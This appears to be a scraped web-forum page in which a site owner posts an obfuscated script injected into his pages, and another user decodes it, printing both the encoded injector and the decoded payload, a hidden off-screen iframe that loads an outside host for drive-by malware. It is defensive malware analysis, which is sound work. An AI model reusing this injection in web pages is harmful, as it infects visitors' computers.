Re: Analysing an obfuscated malware script - JavaScript Discussion Boards

Re: Installing Pygame

johtnkucz30-Jul-12 4:45

johtnkucz

30-Jul-12 4:45

actually I might be able to accomplishe some gui things with tkinter but want to install pygame.

Re: Installing Pygame

Richard MacCutchan30-Jul-12 6:14

Richard MacCutchan

30-Jul-12 6:14

Is this anything to do with Javascript?

One of these days I'm going to think of a really clever signature.

Re: Installing Pygame

Sandeep Mewara31-Jul-12 8:56

Sandeep Mewara

31-Jul-12 8:56

Richard MacCutchan wrote:
Is this anything to do with Javascript?

Yep! Looks like Pygame is made on top of GameJs (a JavaScript game engine)
Some detail here: http://gamejs.org/[^]

Though, what OP has asked does not connect to a JavaScript question from any angle. D'Oh! | :doh:

Sandeep Mewara
[My last article]: Server side Delimiters in ASP.NET[^]

Re: Installing Pygame

Richard MacCutchan31-Jul-12 22:32

Richard MacCutchan

31-Jul-12 22:32

johtnkucz wrote:
No module named pygame

That looks like a clear message.

One of these days I'm going to think of a really clever signature.

Analysing an obfuscated malware script

Bernhard Hiller29-Jul-12 21:48

Bernhard Hiller

29-Jul-12 21:48

A hacker added a JavaScript to many html pages of my site. Just after the body-tag he added:

HTML

<!--c3284d--><script>try{1-prototype;}catch(asd){x=2;}
if(x){fr="fromChar";f=[4,0,91,108,100,88,107,95,100,101,22,91,105,99,54,91,90,29,32,22,112,4,0,107,88,104,21,96,92,103,100,22,50,23,90,100,90,107,98,92,100,105,37,89,103,92,87,105,92, 59,97,92,99,90,101,106,29,30,95,91,105,87,98,92,29,30,50,3,-1,96,92,103,100,36,104,107,111,97,92,36,101,102,105,94,107,95,100,101,51,28,88,88,104,102,98,106,107,91,28,50,3,-1,96,92,103,100,36,104,107,111,97,92,36,105,102,102,50,30,35,46,48,47,90,100,29, 48,4,0,94,93,104,98,37,105,105,112,98,90,37,98,90,93,106,50,30,35,46,48,47,90,10 0,29,48,4,0,94,93,104,98,37,105,103,90,22,21,52,22,23,95,106,105,103,48,36,38,98 ,106,101,90,91,36,89,103,92,87,105,96,101,99,37,90,90,38,99,86,96,100,35,103,94, 101,25,49,2,1,95,91,105,99,35,96,90,21,52,22,28,93,104,98,64,90,28,50,3,-1,91,101,88,108,99,90,101,106,35,89,101,89,112,36,86,103,102,90,101,90,56,95,95, 97,91,30,94,93,104,98,32,49,2,1,115,48,4,0,108,96,100,89,102,109,35,102,100,97,1 02,87,89,23,51,21,93,104,98,56,90,89,50,3,-1];v="eva";}if(v)e=window[v+"l"];w=f;s=[];r=String;z=((e)?"Code":"");zx=fr+z;for(i=0;288-5+5-i>0;i+=1){j=i;if(e)s=s+r[zx]((w[j]*1+(9+e("j%3"))));}
if(x&&f&&012===10)e(s);</script><!--/c3284d-->

It somehow directs the browser to a site where the hacker deposited some malware for automatic download.
But I do not understand the details.
try{1-prototype;}catch(asd){x=2;} somehow sets x to 2 - but how does that happen?
v="eva";}if(v)e=window[v+"l"]; somehow creates an eval statement.
f (and then also w) contain an encrypted statement.
In the for loop, the statement gets decrypted by s=s+fromCharCode((w[j]*1+(9+eval("j%3"))));
and finally executed by e(s);.
Since I hardly ever write JavaScript, I fail to understand the details.
I hope that you have fun with analysing that script, and that you can share some hints on its function.

Re: Analysing an obfuscated malware script

Richard MacCutchan29-Jul-12 22:00

Richard MacCutchan

29-Jul-12 22:00

The original javascript is the long array of bytes, written as numbers so it is not easy to read it. The part of the code that gets executed just converts the array back to its original script text and executes it. You need to take actions protect your website from this sort of malware injection.

One of these days I'm going to think of a really clever signature.

Re: Analysing an obfuscated malware script

enhzflep30-Jul-12 1:43

enhzflep

30-Jul-12 1:43

With the first bit, the try statement - it's code designed to fail, so the catch blocks steps in and sets x = 2.

After I pasted the code, there appeared to be two commas missing from between elements in the array - either that or 2 numbers were broken in half. So I'm still not sure that I've guessed correctly.

After some mind-numbing tracing, I got to a situation where the s in the e(s) statement is equal to:

JavaScript

"
function frmAdd() {

var ifrm = document.createElement('iframe');

ifrm.style.position='absolute';

ifrm.style.top='-999em';

ifrm.style.left='-999e
(9ggsk/tpd!>! iurq;-0msoed.dpfbrjpl/ec0n_jo,qin#<jdsn,je>!%gskJe%<epavncou,cpbz/_qqcoeAijje)ggsk*<~9ujobpx,poj
`c"<hqlCcc="

Which looks like junk to me, so I'll try again to paste the array correctly.

Wouldn't you just love to throttle the sod that did this.. Mad | :mad:

EDIT: Had another try - I had inserted extra commas the first time round - this was clearly wrong. This time I removed the spaces, wrapped it into a funtion and removed the final eval, outputting instead to the console. Here's the re-written code and the final payload. Enjoy!

JavaScript

function injectedCrap()
{
try{1-prototype;}catch(asd){x=2;}
if(x)
{	
	fr="fromChar";
	f=[ 4,0,91,108,100,88,107,95,100,101,22,91,105,99,54,91,90,
		29,32,22,112,4,0,107,88,104,21,96,92,103,100,22,50,23,
		90,100,90,107,98,92,100,105,37,89,103,92,87,105,92, 59,
		97,92,99,90,101,106,29,30,95,91,105,87,98,92,29,30,50,
		3,-1,96,92,103,100,36,104,107,111,97,92,36,101,102,105,
		94,107,95,100,101,51,28,88,88,104,102,98,106,107,91,28,
		50,3,-1,96,92,103,100,36,104,107,111,97,92,36,105,102,
		102,50,30,35,46,48,47,90,100,29, 48,4,0,94,93,104,98,
		37,105,105,112,98,90,37,98,90,93,106,50,30,35,46,48,47,
		90,100,29,48,4,0,94,93,104,98,37,105,103,90,22,21,52,22,
		23,95,106,105,103,48,36,38,98 ,106,101,90,91,36,89,103,
		92,87,105,96,101,99,37,90,90,38,99,86,96,100,35,103,94,
		101,25,49,2,1,95,91,105,99,35,96,90,21,52,22,28,93,104,
		98,64,90,28,50,3,-1,91,101,88,108,99,90,101,106,35,89,
		101,89,112,36,86,103,102,90,101,90,56,95,95,97,91,30,94,
		93,104,98,32,49,2,1,115,48,4,0,108,96,100,89,102,109,35,
		102,100,97,102,87,89,23,51,21,93,104,98,56,90,89,50,3,-1 ];
	v="eva";
}
if(v)
	e=window[v+"l"];
w=f;
s=[];
r=String;
z=((e)?"Code":"");
zx=fr+z;
for(i=0;288-5+5-i>0;i+=1)
{
	j=i;
	if(e)
		s=s+r[zx]((w[j]*1+(9+e("j%3"))));
}

//if(x&&f&&012===10)e(s);
console.log(s);
}

Which, when all is done and dusted evaluates to this nasty piece of work:

JavaScript

function frmAdd() {
var ifrm = document.createElement('iframe');
ifrm.style.position='absolute';
ifrm.style.top='-999em';
ifrm.style.left='-999em';
ifrm.src  = "http://lundf-creation.de/main.php";
ifrm.id = 'frmId';
document.body.appendChild(ifrm);
};
window.onload = frmAdd;

Dirty elephanters!

modified 30-Jul-12 7:59am.

Re: Analysing an obfuscated malware script

Bernhard Hiller30-Jul-12 4:48

Bernhard Hiller

30-Jul-12 4:48

Great! Thanks a lot.

Re: Analysing an obfuscated malware script

enhzflep30-Jul-12 23:41

enhzflep

30-Jul-12 23:41

Pleasure.

Thanks for something interesting to chew on.. Thumbs Up | :thumbsup:

Re: Analysing an obfuscated malware script

Bernhard Hiller31-Jul-12 2:26

Bernhard Hiller

31-Jul-12 2:26

In case that the hacker comes back (I hope that won't happen...), I'll post his new creation here.
Now I understand how drive-by infections work: open a "harmless" page with the injected script, an iframe is opened outside the visible area, and from there some malware gets installed. Really nice. Fortunately my computer was found clean after a 30 hours scan with 4 virus scanners.

Re: Analysing an obfuscated malware script [edit]

Lutosław1-Jun-13 4:10

Lutosław

1-Jun-13 4:10

Bernhard Hiller wrote:
from there some malware gets installed

Doesn't the browser ask before downloading/launching ANY file or extension? I always believed that I'm pretty safe from malware unless I click "downlad and run". Users get infected due to their gullibility ("scan your computer for problems and give us your credit card number by the way. And a phone number, just in case.") and lack of experience.
Right?

[edit] like this: Yu0Tube - Kareena Kapoor slapped a senior news reporter in a meeting [^] (quite smart, spotted in a commantary on "real" YouTube, but blocking all links is a bit unrealistic)

Greetings - Jacek

Re: Analysing an obfuscated malware script

jkirkerx30-Jul-12 11:19

jkirkerx

30-Jul-12 11:19

nice job!

That's pretty crafty there, on the original Javascript, an iFrame off the browser window, hidden from view.

Your code is crafty too.

Re: Analysing an obfuscated malware script

enhzflep30-Jul-12 23:40

enhzflep

30-Jul-12 23:40

Thanks Jim. Smile | :)

I've a 20 year history of reversing code - I taught myself to program in x86 ASM during high-school by dissasembling whatever programs I had to hand.

It's just a matter of experience/exposure, I guess.

Re: Analysing an obfuscated malware script

jkirkerx31-Jul-12 8:12

jkirkerx

31-Jul-12 8:12

So you must be around 48,

I took computer class in summer school of 1974 with wood shop. We had a Western Electric teletype machine, that stored our programs on yellow paper tape with rubber bands.

So we wrote programs in basic on paper, and typed them in, and ran them on a Sigma 7 Mainframe at UC Irvine.

In high school, I dropped computer class and took surf class instead, counted as a PE credit, should of stuck with it. Oh well.

Didn't pick up computers again till 1986, bought a IBM XT, but didn't know what to do with it, so I wrote programs in basic, and ran them off floppy disks. Bought a hard drive 2 years later.

I can reverse engineer a lot of things, but not code down to that level.

Re: Analysing an obfuscated malware script

enhzflep31-Jul-12 9:57

enhzflep

31-Jul-12 9:57

Nah, I'm just a young'n - 35, Wed next week, in fact.

Neato! Dad used to bring home punch cards for us to draw on as kids, back I suppose in about 1982 or so. We had a ball trying to imagine what all the 'dots' were that we were trying to join-up.

I think I was first exposed to Basic in about 1985 or so - A girl down the road had a ?? and I can remember vividly entering a program that would calculate your age in the year 2000 - a time that seemed a million years away. Damn - nearly as far past it now as we were before it, back then!

Isn't it funny where life takes us? I picked up programming when we were forced to occupy the computer-room at school when on detention.. I quickly swiped turbo Pascal 6 and Turbo C++ 3.1 from the network. But when a fellow nerd gave me a copies of his dad's TASM, MASM and Sourcer commenting dissasembler I was like a you-know-what in a you-know where! Still don't know what would have happened if I'd behaved that way I was supposed to back then..

Oh how I do envy you - we got our first piece of computerized anything in about 1990 when M&D spent about $4000 on a 386-33 complete with a whopping 40Mb HDD and 4, thats right count 'em, 4 MB of RAM.. That was an enormous purchase for m&d back then.

I was a bright but lonely kid, so was probably really lucky to have been exposed to computers at that time of my life - I still remember the stunning, overwhelming joy I felt as a 16 year old when I reverse-engineered the registration-code for UniVBE (video bios extender software) and turned shareware software into a registered version. $Shucks | :-\$

Heck, I still remember the reg code for Sourcer - B309868-ytht 20 years after I got it..

Now, if only I could reverse engineer people and social situations. :laughs:

Simon.

Re: Analysing an obfuscated malware script

jkirkerx31-Jul-12 11:36

jkirkerx

31-Jul-12 11:36

I started working for Xerox in 1983, and the office was filled with Xerox Word Processors, a text based system that printed to Diablo Printers. In 1985, we moved to Costa Mesa, and a new secret room was built and filled with Xerox 6065 Documenters, a tall brown tower hooked to 19" monitors, optical mouse, running Xerox Windows attached to a Xerox 2700 Laser Printer via serial cable. I was amazed at it, and started spending time learning how to use them. But all you could do was type a document, save it, and print it, and send and receive email via the internet. Yes we had internet back then.

They couldn't sell a single one starting at $40K each. At the same time, UC Irvine was one of my customers, and I started seeing all these IBM PC's popping up everywhere running WordStar, with Diablo Daisywheel printers.

So I thought to myself, I better buy one of those, they look like the future. Spent a whopping $2200 on it, with 128K of ram. My dad was a merchant marine, and thought it was a complete waste of money. Little did I know that those little beige boxes with green monitors would take off.

That's the story.

I'm sure everyone has a great story, should of took this to the lounge.

Re: Analysing an obfuscated malware script

Mohibur Rashid5-Jun-13 19:49

Mohibur Rashid

5-Jun-13 19:49

haha, you beat me, today i saw it and i found the same function. well, reading this hacking code i learned few sh*t today Laugh | :laugh:

like you can call a function of a object as string indexed array
i.e.

console.log( String["fromCharCode"](100));

i had no idea that is allowed in js

But the fact which is still poking me. How on earth the hacker managed to injact the code to the orginal code in the server???????????????????????????????????????

I wish I could believe there is an after life.

Re: Analysing an obfuscated malware script

enhzflep10-Jun-13 6:02

enhzflep

10-Jun-13 6:02

Mohibur Rashid wrote:
But the fact which is still poking me. How on earth the hacker managed to injact the code to the orginal code in the server?

Indeed. I've often wondered about these things myself. Is it (a) a modification to the file stored on the server, or (b) an in-transit modification to the html payload (as some hotels and ISPs are known to do).

It sure is the pow(2,6) dollar question.

Make it work. Then do it better - Andrei Straut

request

Paresh Barad29-Jul-12 8:13

Paresh Barad

29-Jul-12 8:13

please send me ajax simple program.......

Re: request

Richard MacCutchan29-Jul-12 9:14

Richard MacCutchan

29-Jul-12 9:14

See my answer to your other question.

One of these days I'm going to think of a really clever signature.

ajax

Paresh Barad29-Jul-12 8:11

Paresh Barad

29-Jul-12 8:11

what is ajax?

Re: ajax

Richard MacCutchan29-Jul-12 9:13

Richard MacCutchan

29-Jul-12 9:13

Try a Google search; you will find lots of information.

One of these days I'm going to think of a really clever signature.

Re: ajax

J4amieC30-Jul-12 2:32

J4amieC

30-Jul-12 2:32

Dispatch war rocket ajax to bring back his body[^]

Re: ajax

Pete O'Hanlon30-Jul-12 2:40

Pete O'Hanlon

30-Jul-12 2:40

I know that they are a rather good Dutch football team.

*pre-emptive celebratory nipple tassle jiggle* - Sean Ewington

"Mind bleach! Send me mind bleach!" - Nagy Vilmos

CodeStash - Online Snippet Management | My blog | MoXAML PowerToys | Mole 2010 - debugging made easier

Re: ajax

enhzflep30-Jul-12 2:54

enhzflep

30-Jul-12 2:54

The name of an operation conducted by the US to protect western oil interests in Iran in 1953. Thanks ~~espen~~ Espen!

http://en.wikipedia.org/wiki/1953_Iranian_coup_d'etat#Execution_of_Operation_Ajax[^]

Though in the context you mean, it's a way of getting new info onto a (pre html5) webpage without reloading the whole page.

modified 31-Jul-12 7:16am.

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